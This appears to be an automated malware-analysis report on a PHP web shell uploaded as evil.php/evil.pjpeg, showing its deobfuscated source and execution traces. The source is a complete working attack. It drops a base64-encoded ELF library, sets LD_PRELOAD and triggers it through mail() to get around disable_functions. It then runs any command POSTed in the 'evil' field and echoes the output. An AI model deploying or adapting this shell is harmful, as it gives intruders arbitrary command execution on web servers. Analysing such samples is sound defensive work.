PHP Malware Analysis

evil.php, evil.pjpeg

md5: d74339cf4bdebd646389808056f39acb

Jump to:

Screenshot


Attributes

Emails

Encoding

Files

Input


Deobfuscated PHP code

<?php

// Coded by ./Xi4u7
// Work Jika Function mail() Sama putenv() Ga Di Disable :*
$hook = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQBwAAAAAAABAHAAAAAAAAAAAAAAAAAAABAAAAAAAAAJwAAAAAAAAADAAAAAAAAAD4BQAAAAAAAA0AAAAAAAAA6AcAAAAAAAAZAAAAAAAAAAAOIAAAAAAAGwAAAAAAAAAIAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAyAMAAAAAAAAGAAAAAAAAADACAAAAAAAACgAAAAAAAADKAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAABgAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAJgFAAAAAAAABwAAAAAAAADYBAAAAAAAAAgAAAAAAAAAwAAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAAC4BAAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAAJIEAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAADYGAAAAAAAARgYAAAAAAABWBgAAAAAAAGYGAAAAAAAAOBAgAAAAAABHQ0M6IChVYnVudHUgNS40LjAtNnVidW50dTF+MTYuMDQuMTEpIDUuNC4wIDIwMTYwNjA5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEAyAEAAAAAAAAAAAAAAAAAAAAAAAADAAIA8AEAAAAAAAAAAAAAAAAAAAAAAAADAAMAMAIAAAAAAAAAAAAAAAAAAAAAAAADAAQAyAMAAAAAAAAAAAAAAAAAAAAAAAADAAUAkgQAAAAAAAAAAAAAAAAAAAAAAAADAAYAuAQAAAAAAAAAAAAAAAAAAAAAAAADAAcA2AQAAAAAAAAAAAAAAAAAAAAAAAADAAgAmAUAAAAAAAAAAAAAAAAAAAAAAAADAAkA+AUAAAAAAAAAAAAAAAAAAAAAAAADAAoAIAYAAAAAAAAAAAAAAAAAAAAAAAADAAsAcAYAAAAAAAAAAAAAAAAAAAAAAAADAAwAgAYAAAAAAAAAAAAAAAAAAAAAAAADAA0A6AcAAAAAAAAAAAAAAAAAAAAAAAADAA4A8QcAAAAAAAAAAAAAAAAAAAAAAAADAA8AGAgAAAAAAAAAAAAAAAAAAAAAAAADABAAQAgAAAAAAAAAAAAAAAAAAAAAAAADABEAAA4gAAAAAAAAAAAAAAAAAAAAAAADABIACA4gAAAAAAAAAAAAAAAAAAAAAAADABMAEA4gAAAAAAAAAAAAAAAAAAAAAAADABQAGA4gAAAAAAAAAAAAAAAAAAAAAAADABUA2A8gAAAAAAAAAAAAAAAAAAAAAAADABYAABAgAAAAAAAAAAAAAAAAAAAAAAADABcAOBAgAAAAAAAAAAAAAAAAAAAAAAADABgAQBAgAAAAAAAAAAAAAAAAAAAAAAADABkAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAwAAAABABMAEA4gAAAAAAAAAAAAAAAAABkAAAACAAwAgAYAAAAAAAAAAAAAAAAAABsAAAACAAwAwAYAAAAAAAAAAAAAAAAAAC4AAAACAAwAEAcAAAAAAAAAAAAAAAAAAEQAAAABABgAQBAgAAAAAAABAAAAAAAAAFMAAAABABIACA4gAAAAAAAAAAAAAAAAAHoAAAACAAwAUAcAAAAAAAAAAAAAAAAAAIYAAAABABEAAA4gAAAAAAAAAAAAAAAAAKUAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAKsAAAABABAAwAgAAAAAAAAAAAAAAAAAALkAAAABABMAEA4gAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAMUAAAABABcAOBAgAAAAAAAAAAAAAAAAANIAAAABABQAGA4gAAAAAAAAAAAAAAAAANsAAAAAAA8AGAgAAAAAAAAAAAAAAAAAAO4AAAABABcAQBAgAAAAAAAAAAAAAAAAAPoAAAABABYAABAgAAAAAAAAAAAAAAAAABABAAASAAAAAAAAAAAAAAAAAAAAAAAAACQBAAAgAAAAAAAAAAAAAAAAAAAAAAAAAEABAAAQABcAQBAgAAAAAAAAAAAAAAAAAEcBAAASAA0A6AcAAAAAAAAAAAAAAAAAAE0BAAASAAAAAAAAAAAAAAAAAAAAAAAAAGEBAAAgAAAAAAAAAAAAAAAAAAAAAAAAAHABAAASAAwAswcAAAAAAAA0AAAAAAAAAHgBAAASAAwAgAcAAAAAAAAzAAAAAAAAAIABAAAQABgASBAgAAAAAAAAAAAAAAAAAIUBAAAQABgAQBAgAAAAAAAAAAAAAAAAAJEBAAAgAAAAAAAAAAAAAAAAAAAAAAAAAKUBAAASAAAAAAAAAAAAAAAAAAAAAAAAALsBAAAgAAAAAAAAAAAAAAAAAAAAAAAAANUBAAAiAAAAAAAAAAAAAAAAAAAAAAAAAPEBAAASAAkA+AUAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAF9fSkNSX0xJU1RfXwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc1OTQAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGp0dC5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAF9maW5pAHN5c3RlbUBAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18AZ2V0ZXVpZABwYXlsb2FkAF9lbmQAX19ic3Nfc3RhcnQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwB1bnNldGVudkBAR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAX2luaXQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuamNyAC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAA8AEAAAAAAADwAQAAAAAAAEAAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAADACAAAAAAAAMAIAAAAAAACYAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADIAwAAAAAAAMgDAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAkgQAAAAAAACSBAAAAAAAACIAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALgEAAAAAAAAuAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADYBAAAAAAAANgEAAAAAAAAwAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAmAUAAAAAAACYBQAAAAAAAGAAAAAAAAAAAwAAABYAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAAPgFAAAAAAAA+AUAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAAAgBgAAAAAAACAGAAAAAAAAUAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAcAYAAAAAAABwBgAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAIAGAAAAAAAAgAYAAAAAAABnAQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAADoBwAAAAAAAOgHAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAA8QcAAAAAAADxBwAAAAAAACYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAABACAAAAAAAAEAIAAAAAAAAhAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAAAA4gAAAAAAAADgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAvwAAAA8AAAADAAAAAAAAAAgOIAAAAAAACA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMsAAAABAAAAAwAAAAAAAAAQDiAAAAAAABAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADQAAAABgAAAAMAAAAAAAAAGA4gAAAAAAAYDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAANgPIAAAAAAA2A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANkAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADiAAAAAQAAAAMAAAAAAAAAOBAgAAAAAAA4EAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA6AAAAAgAAAADAAAAAAAAAEAQIAAAAAAAQBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAO0AAAABAAAAMAAAAAAAAAAAAAAAAAAAAEAQAAAAAAAANQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAPGAAAAAAAAPYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAeBAAAAAAAACgBQAAAAAAABwAAAAtAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAABgWAAAAAAAA9wEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=";
if (isset($_POST["evil"])) {
    $evil = $_POST["evil"];
    putenv("LD_PRELOAD=./jtt.so");
    putenv("EVIL_JTT={$evil} > /tmp/jtt");
    echo "<br><pre>Disable_functions : " . ini_get("disable_functions") . "</pre>";
    mail('lamonganblackhat7@gmail.com', '', '', '');
    if (!file_get_contents("/tmp/jtt")) {
        echo "<br><br><hr><pre>";
        echo "Not Vulnerable x_x";
        echo "</pre><hr>";
    } else {
        $text = file_get_contents("/tmp/jtt");
        echo "<br><br><hr><pre>";
        echo $text;
        echo "</pre><hr>";
        unlink("/tmp/jtt");
    }
} else {
    if (!file_get_contents("jtt.so")) {
        file_put_contents("jtt.so", base64_decode($hook));
        header("location: ?");
    } else {
        echo "<form method='POST' action=''>";
        echo "<input type='text' name='evil' placeholder='uname -a'>";
        echo "<input type='submit' name='Budalkan cok'>";
    }
}

Execution traces

data/traces/d74339cf4bdebd646389808056f39acb_trace-1676237892.1538.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:38:38.051618]
1	0	1	0.000136	393528
1	3	0	0.000311	412448	{main}	1		/var/www/html/uploads/evil.pjpeg	0	0
1		A						/var/www/html/uploads/evil.pjpeg	4	$hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAYAAAAAAABAAAAAAAAAAAgZAAAAAAAAAAAAAEAAOAAHAEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAgAAAAAAADECAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAABAAgAAAAAAAEgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAYCAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2	4	0	0.000373	412448	file_get_contents	0		/var/www/html/uploads/evil.pjpeg	23	1	'jtt.so'
2	4	1	0.000421	412600
2	4	R			FALSE
2	5	0	0.000437	412560	base64_decode	0		/var/www/html/uploads/evil.pjpeg	24	1	'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAYAAAAAAABAAAAAAAAAAAgZAAAAAAAAAAAAAEAAOAAHAEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAgAAAAAAADECAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAABAAgAAAAAAAEgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAYCAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2	5	1	0.000503	424880
2	5	R			'ELF\002\001\001\000\000\000\000\000\000\000\000\000\003\000>\000\001\000\000\000�\006\000\000\000\000\000\000@\000\000\000\000\000\000\000\b\031\000\000\000\000\000\000\000\000\000\000@\0008\000\a\000@\000\035\000\032\000\001\000\000\000\005\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000�\b\000\000\000\000\000\000�\b\000\000\000\000\000\000\000\000 \000\000\000\000\000\001\000\000\000\006\000\000\000\000\016\000\000\000\000\000\000\000\016 \000\0'
2	6	0	0.001611	424848	file_put_contents	0		/var/www/html/uploads/evil.pjpeg	24	2	'jtt.so'	'ELF\002\001\001\000\000\000\000\000\000\000\000\000\003\000>\000\001\000\000\000�\006\000\000\000\000\000\000@\000\000\000\000\000\000\000\b\031\000\000\000\000\000\000\000\000\000\000@\0008\000\a\000@\000\035\000\032\000\001\000\000\000\005\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000�\b\000\000\000\000\000\000�\b\000\000\000\000\000\000\000\000 \000\000\000\000\000\001\000\000\000\006\000\000\000\000\016\000\000\000\000\000\000\000\016 \000\0'
2	6	1	0.002706	424920
2	6	R			8264
2	7	0	0.002723	412560	header	0		/var/www/html/uploads/evil.pjpeg	25	1	'location: ?'
2	7	1	0.002740	412648
2	7	R			NULL
1	3	1	0.002754	412616
			0.002781	326616
TRACE END   [2023-02-12 19:38:38.054292]

data/traces/d74339cf4bdebd646389808056f39acb_trace-1676237892.1587.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:38:38.056529]
1	0	1	0.000142	393528
1	3	0	0.000260	412448	{main}	1		/var/www/html/uploads/evil.pjpeg	0	0
1		A						/var/www/html/uploads/evil.pjpeg	4	$hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAYAAAAAAABAAAAAAAAAAAgZAAAAAAAAAAAAAEAAOAAHAEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAgAAAAAAADECAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAABAAgAAAAAAAEgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAYCAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2	4	0	0.000319	412448	file_get_contents	0		/var/www/html/uploads/evil.pjpeg	23	1	'jtt.so'
2	4	1	0.000352	424888
2	4	R			'ELF\002\001\001\000\000\000\000\000\000\000\000\000\003\000>\000\001\000\000\000�\006\000\000\000\000\000\000@\000\000\000\000\000\000\000\b\031\000\000\000\000\000\000\000\000\000\000@\0008\000\a\000@\000\035\000\032\000\001\000\000\000\005\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000�\b\000\000\000\000\000\000�\b\000\000\000\000\000\000\000\000 \000\000\000\000\000\001\000\000\000\006\000\000\000\000\016\000\000\000\000\000\000\000\016 \000\0'
1	3	1	0.001429	412560
			0.001453	326560
TRACE END   [2023-02-12 19:38:38.057866]

data/traces/d74339cf4bdebd646389808056f39acb_trace-1676246425.6584.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:00:51.556203]
1	0	1	0.000227	393512
1	3	0	0.000400	412424	{main}	1		/var/www/html/uploads/evil.php	0	0
1		A						/var/www/html/uploads/evil.php	4	$hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAYAAAAAAABAAAAAAAAAAAgZAAAAAAAAAAAAAEAAOAAHAEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAgAAAAAAADECAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAABAAgAAAAAAAEgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAYCAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
